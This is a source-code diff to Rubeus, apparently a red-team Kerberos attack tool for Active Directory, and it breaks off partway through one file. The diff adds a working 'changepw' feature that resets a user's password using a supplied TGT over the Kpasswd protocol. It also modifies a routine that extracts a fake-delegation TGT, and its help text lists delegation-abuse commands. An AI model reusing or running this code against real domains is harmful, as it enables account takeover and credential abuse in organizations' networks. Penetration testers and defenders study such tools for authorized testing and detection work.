diff --git a/CHANGELOG.md b/CHANGELOG.md index a25c137..5724cd8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [1.2.0] - 2018-10-03 +### Added +* **changepw** action + * implements the AoratoPw user password reset from a TGT .kirbi + * equivalent to Kekeo's misc::changepw function + + ## [1.1.0] - 2018-09-31 ### Added * **asktgs** action - takes /ptt:X, /dc:X, /ticket:X flags like asktgt, /service:X takes one or more SPN specifications diff --git a/Rubeus/Program.cs b/Rubeus/Program.cs index e87252f..224fd9f 100755 --- a/Rubeus/Program.cs +++ b/Rubeus/Program.cs @@ -18,7 +18,7 @@ namespace Rubeus System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)"); System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |"); System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n"); - System.Console.WriteLine(" v1.1.0\r\n"); + System.Console.WriteLine(" v1.2.0\r\n"); } public static void Usage() @@ -28,10 +28,12 @@ namespace Rubeus Console.WriteLine(" Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]"); Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:"); Console.WriteLine(" Rubeus.exe asktgt /user:USER /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]"); - Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:"); - Console.WriteLine(" Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]"); Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:"); Console.WriteLine(" Rubeus.exe asktgs [/dc:DOMAIN_CONTROLLER] [/ptt]"); + Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:"); + Console.WriteLine(" Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]"); + Console.WriteLine("\r\n Reset a user's password from a supplied TGT (AoratoPw):"); + Console.WriteLine(" Rubeus.exe changepw /new:PASSWORD [/dc:DOMAIN_CONTROLLER]"); Console.WriteLine("\r\n Perform S4U constrained delegation abuse:"); Console.WriteLine(" Rubeus.exe s4u /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); Console.WriteLine(" Rubeus.exe s4u /user:USER [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); @@ -137,7 +139,6 @@ namespace Rubeus } } - if (arguments.ContainsKey("/createnetonly")) { // if we're starting a hidden process to apply the ticket to @@ -236,7 +237,7 @@ namespace Rubeus } else { - Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n"); + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } } @@ -298,7 +299,56 @@ namespace Rubeus } else { - Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n"); + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + + else if (arguments.ContainsKey("changepw")) + { + string newPassword = ""; + string dc = ""; + + if (arguments.ContainsKey("/new")) + { + newPassword = arguments["/new"]; + } + if (String.IsNullOrEmpty(newPassword)) + { + Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n"); + return; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Reset.UserPassword(kirbi, newPassword, dc); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Reset.UserPassword(kirbi, newPassword, dc); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } } @@ -406,7 +456,7 @@ namespace Rubeus } else { - Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!"); + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n"); Console.WriteLine("[X] Alternatively, supply a /user and hash to first retrieve a TGT.\r\n"); return; } @@ -457,7 +507,7 @@ namespace Rubeus } else { - Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n"); + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } } @@ -561,7 +611,6 @@ namespace Rubeus format = arguments["/format"]; } - if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); @@ -624,11 +673,11 @@ namespace Rubeus { if (arguments.ContainsKey("/target")) { - LSA.RequestFakeDelegTicket(arguments["/target"]); + byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]); } else { - LSA.RequestFakeDelegTicket(); + byte[] blah = LSA.RequestFakeDelegTicket(); } } @@ -683,7 +732,7 @@ namespace Rubeus } else { - Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n"); + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } } diff --git a/Rubeus/lib/Ask.cs b/Rubeus/lib/Ask.cs index 7a504d2..3cf3653 100755 --- a/Rubeus/lib/Ask.cs +++ b/Rubeus/lib/Ask.cs @@ -64,13 +64,13 @@ namespace Rubeus if (etype == Interop.KERB_ETYPE.rc4_hmac) { - // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 - outBytes = Crypto.KerberosDecrypt(etype, 8, key, rep.enc_part.cipher); + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if(etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { - //https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L57 - outBytes = Crypto.KerberosDecrypt(etype, 3, key, rep.enc_part.cipher); + // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 + outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { @@ -234,8 +234,8 @@ namespace Rubeus // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); - // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 - byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); diff --git a/Rubeus/lib/Interop.cs b/Rubeus/lib/Interop.cs index 8577901..5c399f4 100755 --- a/Rubeus/lib/Interop.cs +++ b/Rubeus/lib/Interop.cs @@ -8,6 +8,17 @@ namespace Rubeus { public class Interop { + // constants + + // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61 + public const int KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1; + public const int KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3; + public const int KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7; + public const int KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8; + public const int KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11; + public const int KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13; + public const int KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14; + // Enums [Flags] @@ -85,6 +96,18 @@ namespace Rubeus subkey_keymaterial = 65 } + public enum KADMIN_PASSWD_ERR : UInt32 + { + KRB5_KPASSWD_SUCCESS = 0, + KRB5_KPASSWD_MALFORMED = 1, + KRB5_KPASSWD_HARDERROR = 2, + KRB5_KPASSWD_AUTHERROR = 3, + KRB5_KPASSWD_SOFTERROR = 4, + KRB5_KPASSWD_ACCESSDENIED = 5, + KRB5_KPASSWD_BAD_VERSION = 6, + KRB5_KPASSWD_INITIAL_FLAG_NEEDED = 7 + } + public enum KERB_CHECKSUM_ALGORITHM { KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15, @@ -1259,5 +1282,10 @@ namespace Rubeus public static extern int FreeCredentialsHandle( [In] ref SECURITY_HANDLE phCredential ); + + [DllImport("Secur32.dll")] + public static extern int FreeContextBuffer( + ref IntPtr pvContextBuffer + ); } } \ No newline at end of file diff --git a/Rubeus/lib/LSA.cs b/Rubeus/lib/LSA.cs index df3d45c..5edb71c 100755 --- a/Rubeus/lib/LSA.cs +++ b/Rubeus/lib/LSA.cs @@ -1367,10 +1367,12 @@ namespace Rubeus return returnedSessionKey; } - public static void RequestFakeDelegTicket(string targetSPN = "") + public static byte[] RequestFakeDelegTicket(string targetSPN = "") { Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n"); + byte[] finalTGTBytes = null; + if (String.IsNullOrEmpty(targetSPN)) { Console.WriteLine("[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'"); @@ -1378,7 +1380,7 @@ namespace Rubeus if(String.IsNullOrEmpty(domainController)) { Console.WriteLine("[X] Error retrieving current domain controller"); - return; + return null; } targetSPN = String.Format("HOST/{0}", domainController); } @@ -1465,8 +1467,8 @@ namespace Rubeus string base64SessionKey = Convert.ToBase64String(key); Console.WriteLine("[*] Extracted the service ticket session key from the ticket cache: {0}", base64SessionKey); - // KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR == 11 (https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/kull_m_kerberos_asn1.h) - byte[] rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, 11, key, encAuthenticator.cipher); + // KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11 + byte[] rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, key, encAuthenticator.cipher); AsnElt asnAuthenticator = AsnElt.Decode(rawBytes, false); @@ -1507,8 +1509,8 @@ namespace Rubeus { byte[] enc_part = elt3.Sub[0].Sub[1].GetOctetString(); - // KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART == 14 - byte[] rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, 14, key, enc_part); + // KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14 + byte[] rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART, key, enc_part); // decode the decrypted plaintext enc par and add it to our final cred object AsnElt encKrbCredPartAsn = AsnElt.Decode(rawBytes2, false); @@ -1526,6 +1528,8 @@ namespace Rubeus { Console.WriteLine(" {0}", line); } + + finalTGTBytes = kirbiBytes; } } else @@ -1562,6 +1566,9 @@ namespace Rubeus } // cleanup 1 Interop.DeleteSecurityContext(ref ClientContext); + + // cleanup 2 + //Interop.FreeContextBuffer(ref ClientToken.pBuffers); } else { @@ -1570,6 +1577,7 @@ namespace Rubeus // cleanup 2 Interop.FreeCredentialsHandle(ref phCredential); + return finalTGTBytes; } } } diff --git a/Rubeus/lib/Networking.cs b/Rubeus/lib/Networking.cs index 80f2054..16e57df 100755 --- a/Rubeus/lib/Networking.cs +++ b/Rubeus/lib/Networking.cs @@ -37,7 +37,7 @@ namespace Rubeus } } - public static byte[] SendBytes(string server, int port, byte[] data) + public static byte[] SendBytes(string server, int port, byte[] data, bool noHeader = false) { // send the byte array to the specified server/port @@ -48,14 +48,23 @@ namespace Rubeus System.Net.Sockets.Socket socket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp); socket.Ttl = 128; + byte[] totalRequestBytes; - byte[] lenBytes = BitConverter.GetBytes(data.Length); - Array.Reverse(lenBytes); + if (noHeader) + { + // used for MS Kpasswd + totalRequestBytes = data; + } + else + { + byte[] lenBytes = BitConverter.GetBytes(data.Length); + Array.Reverse(lenBytes); - // build byte[req len + req bytes] - byte[] totalRequestBytes = new byte[lenBytes.Length + data.Length]; - Array.Copy(lenBytes, totalRequestBytes, lenBytes.Length); - Array.Copy(data, 0, totalRequestBytes, lenBytes.Length, data.Length); + // build byte[req len + req bytes] + totalRequestBytes = new byte[lenBytes.Length + data.Length]; + Array.Copy(lenBytes, totalRequestBytes, lenBytes.Length); + Array.Copy(data, 0, totalRequestBytes, lenBytes.Length, data.Length); + } try { @@ -76,8 +85,17 @@ namespace Rubeus int bytesReceived = socket.Receive(responseBuffer); Console.WriteLine("[*] Received {0} bytes", bytesReceived); - byte[] response = new byte[bytesReceived - 4]; - Array.Copy(responseBuffer, 4, response, 0, bytesReceived - 4); + byte[] response; + if (noHeader) + { + response = new byte[bytesReceived]; + Array.Copy(responseBuffer, 0, response, 0, bytesReceived); + } + else + { + response = new byte[bytesReceived - 4]; + Array.Copy(responseBuffer, 4, response, 0, bytesReceived - 4); + } socket.Close(); diff --git a/Rubeus/lib/Reset.cs b/Rubeus/lib/Reset.cs new file mode 100755 index 0000000..b1f4c34 --- /dev/null +++ b/Rubeus/lib/Reset.cs @@ -0,0 +1,205 @@ +using System; +using System.IO; +using System.Linq; +using Asn1; + +namespace Rubeus +{ + public class Reset + { + public static void UserPassword(KRB_CRED kirbi, string newPassword, string domainController = "") + { + // implements the Kerberos-based password reset originally disclosed by Aorato + // This function is misc::changepw in Kekeo + // Takes a valid TGT .kirbi and builds a MS Kpasswd password change sequence + // AP-REQ with randomized sub session key + // KRB-PRIV structure containing ChangePasswdData, enc w/ the sub session key + // reference: Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols (RFC3244) + + Console.WriteLine("[*] Action: Reset User Password (AoratoPw)\r\n"); + + // grab the default DC if none was supplied + if (String.IsNullOrEmpty(domainController)) + { + domainController = Networking.GetDCName(); + if (String.IsNullOrEmpty(domainController)) + { + return; + } + } + + System.Net.IPAddress[] dcIP; + try + { + dcIP = System.Net.Dns.GetHostAddresses(domainController); + } + catch (Exception e) + { + Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message); + return; + } + + // extract the user and domain from the existing .kirbi ticket + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string userDomain = kirbi.enc_part.ticket_info[0].prealm; + + Console.WriteLine("[*] Changing password for user: {0}@{1}", userName, userDomain); + Console.WriteLine("[*] New password value: {0}", newPassword); + + // build the AP_REQ using the user ticket's keytype and key + Console.WriteLine("[*] Building AP-REQ for the MS Kpassword request"); + AP_REQ ap_req = new AP_REQ(userDomain, userName, kirbi.tickets[0], kirbi.enc_part.ticket_info[0].key.keyvalue, (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR); + + // create a new session subkey for the Authenticator and match the encryption type of the user key + Console.WriteLine("[*] Building Authenticator with encryption key type: {0}", (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype); + ap_req.authenticator.subkey = new EncryptionKey(); + ap_req.authenticator.subkey.keytype = kirbi.enc_part.ticket_info[0].key.keytype; + + // generate a random session subkey + Random random = new Random(); + byte[] randKeyBytes; + Interop.KERB_ETYPE randKeyEtype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + if (randKeyEtype == Interop.KERB_ETYPE.rc4_hmac) + { + randKeyBytes = new byte[16]; + random.NextBytes(randKeyBytes); + ap_req.authenticator.subkey.keyvalue = randKeyBytes; + } + else if (randKeyEtype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + randKeyBytes = new byte[32]; + random.NextBytes(randKeyBytes); + ap_req.authenticator.subkey.keyvalue = randKeyBytes; + } + else + { + Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); + return; + } + + Console.WriteLine("[*] base64(session subkey): {0}", Convert.ToBase64String(randKeyBytes)); + + // randKeyBytes is now the session key used for the KRB-PRIV structure + + // MIMIKATZ_NONCE ;) + ap_req.authenticator.seq_number = 1818848256; + + // now build the KRV-PRIV structure + Console.WriteLine("[*] Building the KRV-PRIV structure"); + KRB_PRIV changePriv = new KRB_PRIV(randKeyEtype, randKeyBytes); + + // the new password to set for the user + changePriv.enc_part = new EncKrbPrivPart(newPassword, "lol"); + + + // now build the final MS Kpasswd request + + byte[] apReqBytes = ap_req.Encode().Encode(); + byte[] changePrivBytes = changePriv.Encode().Encode(); + + byte[] packetBytes = new byte[10 + apReqBytes.Length + changePrivBytes.Length]; + + short msgLength = (short)(packetBytes.Length - 4); + byte[] msgLengthBytes = BitConverter.GetBytes(msgLength); + System.Array.Reverse(msgLengthBytes); + + // Record Mark + packetBytes[2] = msgLengthBytes[0]; + packetBytes[3] = msgLengthBytes[1]; + + // Message Length + packetBytes[4] = msgLengthBytes[0]; + packetBytes[5] = msgLengthBytes[1]; + + // Version (Reply) + packetBytes[6] = 0x0; + packetBytes[7] = 0x1; + + // AP_REQ Length + short apReqLen = (short)(apReqBytes.Length); + byte[] apReqLenBytes = BitConverter.GetBytes(apReqLen); + System.Array.Reverse(apReqLenBytes); + packetBytes[8] = apReqLenBytes[0]; + packetBytes[9] = apReqLenBytes[1]; + + // AP_REQ + Array.Copy(apReqBytes, 0, packetBytes, 10, apReqBytes.Length); + + // KRV-PRIV + Array.Copy(changePrivBytes, 0, packetBytes, apReqBytes.Length + 10, changePrivBytes.Length); + + // KPASSWD_DEFAULT_PORT = 464 + byte[] response = Networking.SendBytes(dcIP[0].ToString(), 464, packetBytes, true); + if (response == null) + { + return; + } + + try + { + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == 30) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + } + catch { } + + // otherwise parse the resulting KRB-PRIV from the server + + byte[] respRecordMarkBytes = { response[0], response[1], response[2], response[3] }; + Array.Reverse(respRecordMarkBytes); + int respRecordMark = BitConverter.ToInt32(respRecordMarkBytes, 0); + + byte[] respMsgLenBytes = { response[4], response[5] }; + Array.Reverse(respMsgLenBytes); + int respMsgLen = BitConverter.ToInt16(respMsgLenBytes, 0); + + byte[] respVersionBytes = { response[6], response[7] }; + Array.Reverse(respVersionBytes); + int respVersion = BitConverter.ToInt16(respVersionBytes, 0); + + byte[] respAPReqLenBytes = { response[8], response[9] }; + Array.Reverse(respAPReqLenBytes); + int respAPReqLen = BitConverter.ToInt16(respAPReqLenBytes, 0); + + byte[] respAPReq = new byte[respAPReqLen]; + Array.Copy(response, 10, respAPReq, 0, respAPReqLen); + + int respKRBPrivLen = respMsgLen - respAPReqLen - 6; + byte[] respKRBPriv = new byte[respKRBPrivLen]; + Array.Copy(response, 10 + respAPReqLen, respKRBPriv, 0, respKRBPrivLen); + + // decode the KRB-PRIV response + AsnElt respKRBPrivAsn = AsnElt.Decode(respKRBPriv, false); + + foreach(AsnElt elem in respKRBPrivAsn.Sub[0].Sub) + { + if(elem.TagValue == 3) + { + byte[] encBytes = elem.Sub[0].Sub[1].GetOctetString(); + byte[] decBytes = Crypto.KerberosDecrypt(randKeyEtype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, randKeyBytes, encBytes); + AsnElt decBytesAsn = AsnElt.Decode(decBytes, false); + + byte[] responseCodeBytes = decBytesAsn.Sub[0].Sub[0].Sub[0].GetOctetString(); + Array.Reverse(responseCodeBytes); + short responseCode = BitConverter.ToInt16(responseCodeBytes, 0); + if (responseCode == 0) + { + Console.WriteLine("[+] Password change success!"); + } + else + { + Console.WriteLine("[X] Password change error: {0}", (Interop.KADMIN_PASSWD_ERR)responseCode); + } + } + } + } + } +} \ No newline at end of file diff --git a/Rubeus/lib/krb_structures/AP_REQ.cs b/Rubeus/lib/krb_structures/AP_REQ.cs index ce5fa7d..8263d50 100755 --- a/Rubeus/lib/krb_structures/AP_REQ.cs +++ b/Rubeus/lib/krb_structures/AP_REQ.cs @@ -15,7 +15,7 @@ namespace Rubeus public class AP_REQ { - public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype) + public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, int keyUsageSpec = Interop.KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR) { pvno = 5; @@ -25,6 +25,10 @@ namespace Rubeus ticket = providedTicket; + // KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7 + // KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11 + keyUsage = keyUsageSpec; + enctype = etype; key = clientKey; @@ -61,17 +65,15 @@ namespace Rubeus // authenticator [4] EncryptedData - - // KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR 7 - // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61 if (key == null) { Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ"); return null; } + byte[] authenticatorBytes = authenticator.Encode().Encode(); - //byte[] keyBytes = Helpers.StringToByteArray(key); - byte[] encBytes = Crypto.KerberosEncrypt(enctype, 7, key, authenticatorBytes); + + byte[] encBytes = Crypto.KerberosEncrypt(enctype, keyUsage, key, authenticatorBytes); // create the EncryptedData structure to hold the authenticator bytes EncryptedData authenticatorEncryptedData = new EncryptedData(); @@ -108,5 +110,7 @@ namespace Rubeus public byte[] key { get; set; } private Interop.KERB_ETYPE enctype; + + private int keyUsage; } } \ No newline at end of file diff --git a/Rubeus/lib/krb_structures/Authenticator.cs b/Rubeus/lib/krb_structures/Authenticator.cs index a0d78a9..f409485 100755 --- a/Rubeus/lib/krb_structures/Authenticator.cs +++ b/Rubeus/lib/krb_structures/Authenticator.cs @@ -37,6 +37,10 @@ namespace Rubeus cusec = 0; ctime = DateTime.UtcNow; + + subkey = null; + + seq_number = 0; } public AsnElt Encode() @@ -79,6 +83,22 @@ namespace Rubeus tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq); allNodes.Add(tillSeq); + if (subkey != null) + { + // subkey [6] EncryptionKey OPTIONAL + AsnElt keyAsn = subkey.Encode(); + keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, keyAsn); + allNodes.Add(keyAsn); + } + + if(seq_number != 0) + { + // seq-number [7] UInt32 OPTIONAL + AsnElt seq_numberASN = AsnElt.MakeInteger(seq_number); + AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq_numberASN }); + seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, seq_numberSeq); + allNodes.Add(seq_numberSeq); + } // package it all up AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); @@ -101,5 +121,9 @@ namespace Rubeus public long cusec { get; set; } public DateTime ctime { get; set; } + + public EncryptionKey subkey { get; set; } + + public UInt32 seq_number { get; set; } } } \ No newline at end of file diff --git a/Rubeus/lib/krb_structures/EncKrbPrivPart.cs b/Rubeus/lib/krb_structures/EncKrbPrivPart.cs new file mode 100755 index 0000000..1807d1b --- /dev/null +++ b/Rubeus/lib/krb_structures/EncKrbPrivPart.cs @@ -0,0 +1,90 @@ +using System; +using Asn1; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //EncKrbPrivPart ::= [APPLICATION 28] SEQUENCE { + // user-data [0] OCTET STRING, + // timestamp [1] KerberosTime OPTIONAL, + // usec [2] Microseconds OPTIONAL, + // seq-number [3] UInt32 OPTIONAL, + // s-address [4] HostAddress -- sender's addr --, + // r-address [5] HostAddress OPTIONAL -- recip's addr + //} + + // NOTE: we only use: + // user-data [0] OCTET STRING + // seq-number [3] UInt32 OPTIONAL + // s-address [4] HostAddress + + // only used by the changepw command + + public class EncKrbPrivPart + { + public EncKrbPrivPart() + { + new_password = ""; + + // mimikatz nonce ; + seq_number = 1818848256; + + host_name = ""; + } + + public EncKrbPrivPart(string newPassword, string hostName) + { + new_password = newPassword; + + // mimikatz nonce ; + seq_number = 1818848256; + + host_name = hostName; + } + + public AsnElt Encode() + { + // user-data [0] OCTET STRING + byte[] pwBytes = Encoding.ASCII.GetBytes(new_password); + AsnElt new_passwordAsn = AsnElt.MakeBlob(pwBytes); + AsnElt new_passwordSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { new_passwordAsn }); + new_passwordSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, new_passwordSeq); + + + // seq-number [3] UInt32 OPTIONAL + AsnElt seq_numberAsn = AsnElt.MakeInteger(seq_number); + AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq_numberAsn }); + seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, seq_numberSeq); + + + // s-address [4] HostAddress + AsnElt hostAddressTypeAsn = AsnElt.MakeInteger(20); + AsnElt hostAddressTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressTypeAsn }); + hostAddressTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, hostAddressTypeSeq); + + byte[] hostAddressAddressBytes = Encoding.ASCII.GetBytes(host_name); + AsnElt hostAddressAddressAsn = AsnElt.MakeBlob(hostAddressAddressBytes); + AsnElt hostAddressAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressAddressAsn }); + hostAddressAddressSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, hostAddressAddressSeq); + + AsnElt hostAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { hostAddressTypeSeq, hostAddressAddressSeq }); + AsnElt hostAddressSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressSeq }); + hostAddressSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, hostAddressSeq2); + + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { new_passwordSeq, seq_numberSeq, hostAddressSeq2 }); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + + seq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 28, seq2); + + return seq2; + } + + public string new_password { get; set; } + + public UInt32 seq_number { get; set; } + + public string host_name { get; set; } + } +} \ No newline at end of file diff --git a/Rubeus/lib/krb_structures/KRB_CRED.cs b/Rubeus/lib/krb_structures/KRB_CRED.cs index 065cf59..8f74b0e 100755 --- a/Rubeus/lib/krb_structures/KRB_CRED.cs +++ b/Rubeus/lib/krb_structures/KRB_CRED.cs @@ -107,7 +107,7 @@ namespace Rubeus // all the components AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 }); - // tag the final total + // tag the final total ([APPLICATION 22]) AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final); diff --git a/Rubeus/lib/krb_structures/KRB_PRIV.cs b/Rubeus/lib/krb_structures/KRB_PRIV.cs new file mode 100755 index 0000000..b9142a7 --- /dev/null +++ b/Rubeus/lib/krb_structures/KRB_PRIV.cs @@ -0,0 +1,82 @@ +using System; +using Asn1; +using System.Collections.Generic; + +namespace Rubeus +{ + public class KRB_PRIV + { + //KRB-PRIV ::= [APPLICATION 21] SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (21), + // -- NOTE: there is no [2] tag + // enc-part [3] EncryptedData -- EncKrbPrivPart + //} + + public KRB_PRIV(Interop.KERB_ETYPE encType, byte[] encKey) + { + // defaults for creation + pvno = 5; + msg_type = 21; + + etype = encType; + + ekey = encKey; + + enc_part = new EncKrbPrivPart(); + } + + public AsnElt Encode() + { + // pvno [0] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); + + + // msg-type [1] INTEGER (21) + AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); + AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); + msg_typeSeq = 